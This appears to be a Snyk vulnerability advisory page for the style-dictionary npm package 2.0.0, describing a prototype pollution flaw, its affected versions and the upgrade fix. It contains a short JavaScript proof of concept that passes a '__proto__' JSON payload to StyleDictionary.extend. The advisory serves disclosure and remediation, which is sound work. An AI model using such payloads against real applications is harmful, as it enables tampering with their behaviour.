style-dictionary@2.0.0 vulnerabilities

Style once, use everywhere. A build system for creating cross-platform styles.

  • latest version

    4.3.0

  • latest non vulnerable version

  • first published

    7 years ago

  • latest version published

    4 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the style-dictionary package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    style-dictionary is a Style once, use everywhere. A build system for creating cross-platform styles.

    Affected versions of this package are vulnerable to Prototype Pollution.

    PoC

    const StyleDictionary = require('style-dictionary');
    const obj = {};
    let opts = JSON.parse('{"__proto__":{"polluted":"yes"}}');
    console.log("Before : " + obj.polluted);
    StyleDictionary.extend(opts);
    console.log("After : " + obj.polluted);
    

    How to fix Prototype Pollution?

    Upgrade style-dictionary to version 2.10.3, 3.0.0-rc.10 or higher.

    <2.10.3>=3.0.0-rc.0 <3.0.0-rc.10